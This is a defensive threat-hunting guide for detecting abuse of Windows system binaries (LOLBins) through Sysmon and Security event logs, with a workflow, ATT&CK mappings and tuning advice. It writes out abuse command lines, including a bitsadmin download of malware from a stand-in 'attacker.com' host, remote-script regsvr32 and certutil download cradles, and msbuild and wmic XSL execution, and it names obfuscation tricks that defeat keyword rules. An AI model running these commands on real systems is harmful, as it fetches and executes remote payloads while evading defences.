Hunt for adversary abuse of Living Off the Land Binaries (LOLBins) by analyzing endpoint process creation logs for suspicious execution patterns of legitimate Windows system binaries used for malicious purposes.
Hunt for adversary abuse of Living Off the Land Binaries (LOLBins) by analyzing endpoint process creation logs for suspicious execution patterns of legitimate Windows system binaries used for malicious purposes.
When hunting for fileless attack techniques that abuse built-in Windows binaries
After threat intelligence indicates LOLBin-based campaigns targeting your industry
When investigating alerts for suspicious use of certutil, mshta, rundll32, or regsvr32
During purple team exercises testing detection of defense evasion techniques
When assessing endpoint detection coverage for MITRE ATT&CK T1218 sub-techniques
Detection Gaps & Validation
4688 lacks OriginalFileName. Renamed-LOLBin detection (e.g., certutil.exe→update.exe) requires Sysmon EID 1 OriginalFileName/Hashes; relying on Security 4688 alone misses it. Also confirm command-line auditing is on, or the CommandLine field is blank and every keyword rule silently fails.
Keyword/regex lists miss obfuscation: caret/quote insertion (c^ertu^til, "certutil"), env-var expansion (%COMSPEC%), and base64 -enc defeat literal matches.
Validate the hunt fires: run certutil -urlcache -split -f http://<lab>/x.txt and regsvr32 /s /n /u /i:http://<lab>/x.sct scrobj.dll (Atomic T1218.010); confirm the Splunk/Sigma rule alerts and Sysmon EID 3 correlates the outbound connection.
FP tuning: legitimate admin/installer use of these binaries — baseline by parent process, signer, execution path, and frequency before alerting.
Prerequisites
Sysmon Event ID 1 (Process Creation) with full command-line logging
Windows Security Event ID 4688 with command-line auditing enabled
EDR telemetry with parent-child process relationships
SIEM platform for query and correlation (Splunk, Elastic, Microsoft Sentinel)
LOLBAS project reference (lolbas-project.github.io) for known abuse patterns
Workflow
Build LOLBin Watchlist: Compile a list of high-risk LOLBins from the LOLBAS project, prioritizing: certutil.exe, mshta.exe, rundll32.exe, regsvr32.exe, msbuild.exe, installutil.exe, cmstp.exe, wmic.exe, wscript.exe, cscript.exe, bitsadmin.exe, and powershell.exe.
Baseline Normal Usage: Establish what normal LOLBin usage looks like in your environment by profiling command-line arguments, parent processes, and user contexts for each binary over 30 days.
Hunt for Anomalous Arguments: Search for LOLBins executed with unusual command-line arguments indicating abuse -- certutil with -urlcache -decode -encode, mshta with URL arguments, rundll32 loading DLLs from temp/user directories, regsvr32 with /s /n /u /i:URL.
Analyze Parent-Child Relationships: Identify unexpected parent processes spawning LOLBins -- for example, outlook.exe spawning mshta.exe, or winword.exe spawning certutil.exe indicates weaponized document delivery.
Check Execution from Unusual Paths: LOLBins executed from non-standard paths (copies placed in %TEMP%, user profile directories) suggest renamed binary abuse.
Correlate with Network Activity: Map LOLBin execution to outbound network connections (Sysmon Event ID 3) to identify download cradles and C2 callbacks.
Score and Prioritize: Rank findings by anomaly severity, combining suspicious arguments, unusual parent process, non-standard path, and network activity indicators.
Key Concepts
Concept
Description
T1218
System Binary Proxy Execution
T1218.001
Compiled HTML File (mshta.exe)
T1218.003
CMSTP
T1218.005
Mshta
T1218.010
Regsvr32 (Squiblydoo)
T1218.011
Rundll32
T1127.001
MSBuild
T1197
BITS Jobs (bitsadmin.exe)
T1140
Deobfuscate/Decode Files (certutil.exe)
T1059.001
PowerShell
T1059.005
Visual Basic (wscript/cscript)
LOLBAS
Living Off the Land Binaries, Scripts and Libraries project
Tools & Systems
Tool
Purpose
Sysmon
Process creation with command-line and hash logging
MSBuild Inline Task: msbuild.exe C:\Temp\malicious.csproj executing C# code embedded in project files to bypass application control.
BITS Transfer: bitsadmin /transfer job /download /priority high http://attacker.com/malware.exe C:\Temp\update.exe using BITS service for stealthy file download.
WMIC XSL Execution: wmic process list /format:evil.xsl executing JScript/VBScript from XSL stylesheets.
